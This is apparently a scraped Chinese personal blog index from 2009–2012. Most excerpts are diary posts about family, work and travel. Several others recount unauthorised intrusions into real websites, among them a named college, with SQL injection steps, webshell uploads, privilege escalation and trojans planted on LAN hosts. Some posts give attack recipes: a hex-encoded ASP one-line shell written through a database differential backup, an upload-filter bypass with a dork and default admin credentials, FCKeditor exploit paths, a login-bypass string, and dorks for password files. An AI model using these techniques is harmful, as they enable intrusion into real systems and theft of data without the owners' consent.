去网盘查看收藏的BT、图片
收藏的图片在这里！
-
新秀洞子一枚
2012-04-09
admin\article\upload.asp dim extension:extension = lcase(get_file_name(fil,".")) if instr("asp,php,jsp,aspx",extension) = 0 then call upload(dir,fil) session("fil") = dir & fil 过滤asp php jsp aspx 无asa .cer. google:Powered by sinsiu 后台:admin 默认账户:admin -
临近的清明。
2012-03-19
清明，每年的清明都没这么伤感。 还没到清明，心里就有一种莫名的悲伤涌动。我想念您，太想太想您。 现在想起还像一场梦，真希望是一场梦，醒来我还依旧去看望您，和您一起包饺子。您知道的， 我希望吃饺子。 在天国的您一定知道，我们都在想着您。 -
解决上不去youtube。
2012-01-11
youtube在我国被和谐，找个个方法。 写入hosts文件。解决之 203.208.46.146 youtube.com 203.208.46.146 www.youtube.com 203.208.46.146 gdata.youtube.com 203.208.46.146 m.youtube.com 203.208.46.146 help.youtube.com 203.208.46.146 accounts.youtube.com 203.208.46.146 insight.youtube.com 203.208.46.146 apiblog. -
检测朋友学校网站
2011-12-19
上次想搞朋友这学校简单查了C段，没站就没搞，这次突然想继续看看。就有了此次活动``` 不得不说管理员很尽职，权限都设置的很死。本来想先拿个C段的服务器嗅探呢，谁知道同服务器存在COOKIE注入。 就没搞，中转了几个注入点，找到了个DB权限的，可以列目录，但是速度很乌龟。加上服务器上的系部站点非常多， 直接导致浪费N多时间。首先拿了一个系部的站点，想着权限应该不是很死吧，进去后就失望了，SHELL自带所有目录都不能访问，更别说盘符了，我搓、。翻了翻没什么收获就去找主站目录了，费了九牛二虎之力，最后找到主站的目录，目录名竟然是管理员胡乱写的。我愁 -
-
DB差异备份总结（转）
2011-11-17
1.完整备份一次(保存位置当然可以改) backup database 库名 to disk = ‘c:\ddd.bak’;– 2.创建表并插曲入数据 create table [dbo].[dtest] ([cmd] [image]); insert into dtest(cmd) values(0x3C25657865637574652872657175657374282261222929253E);– 3.进行差异备份 backup database 库名 to disk=’目标位置\d.asp’ WITH DIFFERENTIAL,FORMAT;– 上面 0x3C25657865637 -
日下N点虚拟主机。
2011-11-17
从下午搞到半夜3点，终于把服务器拿下。坐的我腚疼啊啊啊啊~ 这么久没玩黑就是不行啊，这次几乎全靠百度和google拿下的！起初是周二得到一个DB注射点，列了目录，差异备份就是写不进去。 今天给小鸟发过去让他弄弄，他吃过饭回来发来了Shell，说晚上告诉我他要出去。我就操刀提权了。在WEB根目录看到很多我备份进来 的文件，但是就是没写入一句话。全是TM乱码。无语加郁闷。看了程序安装目录，在D盘安装了N点虚拟主机，下载了数据库，得到加密 后的ROOT和SA密码，一直没试验过破解N点密码，我google了下，搜到解密代码： ======= -
替换 某固定字符前面的 所有内容
2011-10-24
删除 某固定字符前面的 所有内容 以下语句是替换："~"前的所有内容 @echo off for /f "tokens=2 delims=~" %%i in (a.txt) do echo %%i>>b.txt pause 删除 某固定字符后面的 所有内容 @echo off for /f "tokens=1 delims=2" %%i in (1.txt) do echo %%i>>2.txt pause -
-
Windows 7下直接开启ACHI不蓝屏的方法
2011-08-27
这两天，电脑太卡，就重装了系统。因为忘记改硬盘运行模式为ACHI，结果装后不能开启ACHI模式了。改了就蓝屏！ 郁闷到家了。最后找到解决方法是： 在“注册表编辑器”窗口左侧标题栏定位至 HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\msahci分支，然后在右侧窗口，双击 “Start”。 3.在打开的“编辑DWORD值”对话框，将“数值数据”框中的值由3改为数字0，单击“确定”按钮。 小结： -
google hacking.
2011-08-12
filetype:htpasswd htpasswd intitle:"Index of” “.htpasswd” -intitle:"dist” -apache -htpasswd.c index.of.private (algo privado) intitle:index.of master.passwd inurl:passlist.txt (para encontrar listas de passwords) intitle:"Index of..etc” passwd intitle:admin intitle:login “Incorrect sy -
-
-
-
-
国外站收集
2011-05-17
国外著名安全与黑客站点大全 国外安全 http://www.deadly.org/ 大量关于OpenBSD的资料文档教程 国外安全 http://www.guninski.com/ 安全专家Guninski的主页，有大量由系统漏洞 国外安全 http://www.sysinternals.com 有很好的windows下的工具及源代码 国外安全 http://www.securityflaw.com/bible/ 入侵检测等文档整理较好的站点 国外安全 http://www.secinf.net/ 网络安全方面的大量文档 国外安全 http://www.incident-response.or -
Fckeditor漏洞最新整理
2011-05-14
搜集于网络、以及个人经验 --------------------------------------------------------------------------------------------------------------- 1、查看编辑器版本 /fckeditor/editor/dialog/fck_about.html 2、爆绝对路径 FCKeditor/editor/dialog/fck_spellerpages/spellerpages/server-scripts/spellchecker.php(支持php的通杀) /FCKeditor/editor/fil -
Siteserver CMS 最新批量拿站 0D
2011-05-03
SiteServer CMS 网站内容管理系统（著作权登记号2008SR15710）是定位于中高端市场的CMS内容管理系统，能够以最低的成本、最少的人力投入在最短的时间内架设一个功能齐全、性能优异、规模庞大的网站平台。 SiteServer CMS 是基于微软.NET 平台开发的网站内容管理系统，它集成了内容发布管理、多站点管理、定时内容采集、定时生成、多服务器发布、搜索引擎优化、流量统计等多项强大功能，独创的 STL 模板语言，通过Dreamweaver 可视化插件能够任意编辑页面显示样式，生成纯静态页面。 ----------- -
某许愿墙程序一句话插入漏洞(转黑吧)
2011-05-03
刚刚在看一个门户的时候扫了好久好久，最后发现一个许愿墙，然后挖源码。 又找了好久，最后找到源码下载后没有什么可利用到的。 最后锁定一个防注入数据库sqlin，兴奋了一小下，但是发现貌似没有调用到这个鸟防注入。 郁闷了下，看到 in_admin.asp 文件再次兴奋了。 看到这里大家明白了额，不多解释了，直接一句话，然后连接之。。。搞定。 怎么说呢，RP不错吧。 -
-
-
入侵思路。
2011-02-18
自己也写不了这么长篇大论。。 转载来没事看看。省的没事的时候也是没事 扫描注入点 扫描后台 密码帐号 'or'='or' ...... （一）关键字 ：密码 帐号 数据库 1.密码获得：conn.asp 爆库 产生原因：conn.asp 和 调用他的文件不在同一目录下 就可以喽~ 爆库方法：直接访问数据库访问文件 比如：http://www.163.com/hellrye/conn.asp 网页返回：某盘（c.d.e.f）：//一级目录名\二级目录名 -
关于维基解密。
2011-02-18
最近网上关于维基解密的事件新闻真实一件接着一件。。 把国家的高官都搞怕了。 简介; Wikileaks（维基解密）是一个大型文档泄露及分析网站，成立于2006年12月，目的为揭露政府及企业的腐败行为。 该网站声称其数据源不可追查亦不被审查。“维基泄密”没有总部或传统的基础设施，该网站依靠服务器和数十个国家的支持者，它本身具有秘密特征，相对而言很少受到律师或地方政府的压力。 2010年7月26日，“维基解密”在《纽约时报》《卫报》和《镜报》配合下，在网上公开了多达9.2万份的驻阿美军秘密文件，引起轩然大波。这一大宗军事情报泄密事件，被认为是美国1971年“五角大楼文件泄密 -
-
-
入手的本本。
2010-10-05
查了N久的本本，包括品牌，型号，配置，散热好坏，，本来选的华硕。结果真的是差的很大。 不过配置还好没变，数码产品的更新速度是消费者所追赶不上的。 、 配置还是 I3-370 ，2G DDR3, 1G独显。320硬盘 发现挑的几个机型的显卡全是GT310 - -|| 反正也不很喜欢玩游戏。显卡不好机器还不受热了呢 哈哈。 型号联想Z-460 有点郁闷就是这个系统。 WIN 7家庭版。 不能换主题。主题是蓝白色。太亮了，亮度我调了%20 还是感觉亮 0.0 整体感觉不错。！顶国货。 -
手注一个艺术网
2010-09-25
发现艺术站的注入点挺多的。而且许多root.. 今天拿的不是root的，^_^ 不需要mysql的--和/* 直接提交注入代码即可。 and 1=1正常 and 1=2 错误`` order by 25错误 2正常。 提交22错误。最后得到字段为21。 插入点3和6，13 ，12 我们看下用户和mysql版本以及数据库名 好了，收集到有用信息了。 from 表明的时候不存在 user admin等字段， 爆下所有数据库 提交语句schema_name -
-
打工结束了。
2010-08-26
伴随着几天的小雨，历时39天的工作日终于结束了。揣着一千多块，不知是什么滋味。下次再打工再也 不找这样的工作了。锻炼的不是人的思想，而是身体。现在的我比刚到家胖了一圈，谁见了谁说胖了。 汗。。。 紧接着又是开学。开学的压抑。真是矛盾，在学校想回家。在家想回学校。 - -||| &nb -
腰酸背疼
2010-08-18
历时一个半月的打工时间就快要结束了。剩下几天时间，有点撑不住的感觉，一个字累。 这么累的工作，还没有好的福利，真郁闷，真不知道在这里上班的人是怎么想的。 暑假充实自己的时间被用来打工。有事有点浪费了。 -
霉运、、
2010-08-08
真郁闷。上次拿的服务器。最近忙着工作也没有用。传了个查看WIN2003终端密码记录。 第二天后门就被封掉了。。。汗。 UDF再次创建用户无法登录。没有权限。管理员肯定是限制了。 郁闷。我又没删除数据没干什么。竟然如此对我。在主页给管理员留言：管理员真不厚道。 遂拍屁股走人。 -
-
-
检测国外jsp站提权。
2010-06-25
貌似这是一个国外的站，查IP时IANA。（互联网数字分配机构）。。 郁闷结尾时AU的，第一次碰见。。。拿shell是万能密码进入的。。一晚上用网能 密码进入N个站了，正在提权中，刚才那个服务器又关了，不知道怎么回事。（难 停电了？- -||） 扫了一下端口。。是开放3389滴。。不过，CMD下查下权限也是。SYETEM权限 。提权不用费劲了。试着直接3389连接。。是DeLL的服务器。。 网速有点慢，。是可以连接的。net被禁， 不能执行net命令。。 &nb -
一个ASP管理助手的利用
2010-06-23
在GOOGLE搜索上传页面的时候。找到一个有意思的链接。打开一看，是个asp管理助手，可以上传任何文件，新建目录。重命名和删除任何文 件。 强大的可怕，而且直接打开。不带需要任何验证。。汗 成功拿下shell.进去看了下，权限不小，只有两个盘符，C盘和D盘。wscript.shell组建没有被删除。。 一会去提权提权·· D盘根目录还有打包好的源码。。 嘿嘿。。。 -
从MSSQL弱口令到入侵内部网
2010-04-09
这次又渗透到一个局域网了。 cmdshell竟然没有被删除,直接加用户。但是远程端口不知道是多少。好在开的TCP端口少。 一个一个试最后知道是3327。直接进入。 CMD里敲入ipconfig，发现有内网IP。传过去啊D工具包和局域网查看工具。得到很多有用的信息。。 哈哈。 直接把192.168.0.1-192.168.0.255放到啊D里的肉鸡扫描里。扫出几个弱口令。 我telnet了几个。开了共享。种了鸽子。但是没开启3389。放进去批处理的3389。哦、总是开启不了。郁闷 最后也没搞。。。 用服务器扫了几个IP段。扫出几个4 -
-
5944空间商存在安全隐患
2010-03-16
今天网服务器传东西的时候用了5944那个免费空间，呵呵，我记得以前也往上面 传过马。貌似没发现什么。，也记不清楚了。这次传了1个免杀的马儿，却可以发现 Program Files目录可以访问， 看见安装了虚拟机，呵呵。传马的时候我发现那些功能大的大马是不能用的，因 为功能大，所以体积也大吧。具体什么原因也不清楚。查了下可写目录。 C盘下的好几个目录都可读可写。不过服务器的wscript.shell组件被删除了， 不然可以传上去cmd执行命令是也。。 -
-
手工注入黄石理工学院
2009-12-20
百度asp中的学院。随便拉了一个，--黄石理工学院。 如图所示，很常见的模板、、找了一个带参数的连接，提交单引号显示数据库出错。 继续提交and 1=1 和and 1=2 and 1=2的时候也是提示数据库出错。 提交order by 判断字段长度。提交到9的时候出错，得到长短为8。 继续提交%20and%201=2%20union%20select%201,2,3,4,5,6,7,8 页面显示了错误页面。 在后面加上了from admin 回显正常``得到2，3两个值。 在2处替换user,admin.name,username后结果username成功爆出管理员用 -
-
彩虹表
2009-11-25
刚开始接触彩虹表是看了黑手的10月杂志，看到云计算的时候看到的，接着不断在各大网站上看到 “彩虹表秒破啥啥密码”的字眼，感觉挺吊的！ 今天特意看了下百度百科。 就是一个庞大的、针对各种可能的字母组合预先计算好的哈希值的集合，不一定是针对MD5算法的，各种算法的都有，有了它可以快速的破解各类密码。越是复杂的密码，需要的彩虹表就越大，现在主流的彩虹表都是100G以上。 、 从上面就可以看到，一般彩虹表都是100G以上，电脑生成字典要生成一年多的时间！ 真是多么恐怖，但是，这么强悍，是用来破解什么的呢？ 我个人以为，他可以破解 MD5，系 -
IIS些权限漏洞入侵网站、
2009-11-19
虽然不知道这个漏洞具体的出现时间，但是。知道，很早了。 现在有这个漏洞个站还是有很多的。随便拿个一个活跃的IP段，用IIS scan工具扫一下，就能扫出几个。 虽然上面有的显示是“OK”，但是也不一定百分百成功。即使不是%100成功，但是收获也不小。 用老兵那个写权限漏洞利用工具直接传.txt文件就OK了/ 不是OK的，可以传TXT文本，这样也可以个让那些不怕麻烦的，所谓的红客来传一个TXT文本，提醒网 站管理员。 &nbs -
我真是疯了、
2009-11-14
越来越搞不懂自己、这两天有点犯傻了、现在感觉我对电脑的兴趣一点一点的消失！是为什么！以前的激情恐怕要离我而去了、！生活也平凡化了、以前的木标和绝心要变成泡影了么！？我要如何找回以前的我？谁。能告诉我！ -
不属于此间的此间
2009-11-10
最近一直没有没有什么新收获、没有学到新东西、有点想发泄、心里也许堆积了太多压抑、无论网络还是现实、又是夜、此间的夜不属于此间、也许我颓废了、也许我还没颓废到一种所谓的高度！Shit! 真是讨厌这种感觉！ -
这两天又感冒了```
2009-11-04
这两天每天喝那么多的开水，还感冒，郁闷，这次感冒可把我弄怕了，烧到39度，那种感觉，浑身难受， 再也不想有那种感觉了，真不是人受的。。哎`` 回到家，已经不是很烧了，又挂了两瓶！ 郁闷，，第二天开始浑身疼，第三天才好一点，身上不疼了。 在家过的真快，已经三天了。。。该走了。。`` -
为什么？``
2009-10-20
您知道我最近多难受吗？本来想向您诉苦，您却还没等我说话，就直接一通教训，为什么， 我当时听着电话心里是多么的难受，我感觉我的眼睛有点湿。非常难受。 今天晚上，感觉浑身不舒服，有点想感冒，这两天在劳动班干活，累的半死``` 我..真的，妈，我感觉非常委屈``` 没人说，所以只能在这里写点文字。`` -
弄空间的尴尬```
2009-10-17
郁闷了都。 本来QQ空间是小窝模式。换成全屏，弄了N久，没碰过空间，真郁闷。做了几个flash.. 本来想把swf文件传到webshell上，但是好几个都缺少对象，禁止写入，，郁闷。怒了。不用了。 还是用5944的免费空间吧，不想用FTP的原因就是5944的空间长时间不用就自动关闭了，当然，里面的 文件也就没了。弄好了，又截了个吉他，PS一下，（PS几乎是没碰过``） 本来好好的吉他图片被我修的面目全非`` 这是一张好好的图`` 被修成`` 就象吃胖似的`` -
十一放假风波```
2009-09-26
到家了。出了火车站，我笑了。心里面太兴奋了。到家的感觉真好。虽然是阴天我都感觉象有蓝天白云一样。。 唯一不顺畅的就是取钱，气死我了。ATM取钱排队。排到我了。钱取不出，因为就剩101了。 很扯。和朋友去取钱，他的密码连着输错3次。冻结了。！汗死```` 什么事都被今天撞上了。吃饭都没吃好``` 今天总算是回来了。心情极度亢奋中```。。。。。 -
回家了
2009-09-09
去买车票,还没晚上八点多的票,郁闷,只剩下一个十点多的票了,没办法,只好买咯.... 买个桶面,去候车厅等车,吃着方便面,心里面的酸楚,一下子涌了出来.妈.我想您了! 心里面想,忍一忍吧.还有几个小时,就能到家了.候车厅人山人海.站的哪都是人,更别奢望有座位了. 我在一处人少的地方,站了一会.腿开始疼,往学生候车那边转了转.,发现几个座位,心里一阵窃喜!终于有座位了.! 在我等的困的时候,开始检票了,坐着的人一下子都起来了，开始往前挤,好象钱面有一大堆钱等着他似的... 排队边成了耳旁风.. 最后被挤进了站,上了车,真麻烦.... -
寝室集体失眠记``
2009-09-05
昨天晚上不知道是哪个寝室的人，在半夜12点的时候在走廊放鬼哭。结果全宿舍楼的人都出来骂。。。 我们出去也没找到，回到寝室，老申又讲鬼故事，说是他亲身经历的。是在他老家碰见鬼了。 说是他骑电动车晚上回家的时候是在当地人说的“鬼门关”走的，他发现有个老太太跟着他，始终甩不掉`` 更可怕的是他说那个老太太还对他笑，嘴唇是红色的```` - -! 寝室的人都骂他不厚道``我们后不敢睡了。我也是碾转反侧，一闭眼就是那个老太太对着笑的那个画面` 哎``弄了几个小时才不知不觉睡着了。。。。 哎`` -
华夏黑客同盟关闭··
2009-09-01
前几天就听群里面炒。说同盟的站长因为涉嫌破解绿贝贝拘留，我不信，看了报道， 惊奇的 发现是真的，同盟我本来就不经常去，感觉那站没以前好了，跟新速度慢。 现在主站已经打不开了，大家可以去试试。 现在已经名存实亡了。以前的辉煌已经成为回忆！ 正文： 有消息称，华夏黑客同盟（77169）于北京时间2009年7月14日16：38， 十多名警察进入华夏黑客联盟， 因涉嫌 -
恨‘这邪恶的忧伤、
2009-09-01
今、烦琐的事太多、突然发现心里少很多东西、也想家了、 要不是哥们永明和我说点话、我真不知道该怎么样、 永明、遇到你我真的打心里高兴、你是我在网路上遇到的最好的朋友、以后也是、、 也不知道那个在远方当兵的朋友怎么样了、 我越来越理解榕前辈那句简介 -
旅游心得··
2009-08-10
嘿，这两天可累死我了，但是也有点小高兴，今天交了一个外国朋友，哪国家我给忘了， 他是我在海边喝酒的时候认识的，他拿着酒杯，说啤酒不错，正宗的嘛`` 貌似是德国附近的小国，我们合了影，用我仅会点的英语和他交谈了些。 他很搞笑，他总是笑。我向他要QQ号，他听不懂QQ是什么....我又问QICQ，他还是说没有， 他说他有MSN，最后要了他MSN.他说要我把合影的照片用E-MAIL给他发去。西西。。。 我问了他的梦想，他说是每天来沙滩玩会,汗死```真游栽啊。。他还说他没工作，呵呵，不工作还 天天来沙滩玩 以后要多学学英语了。 -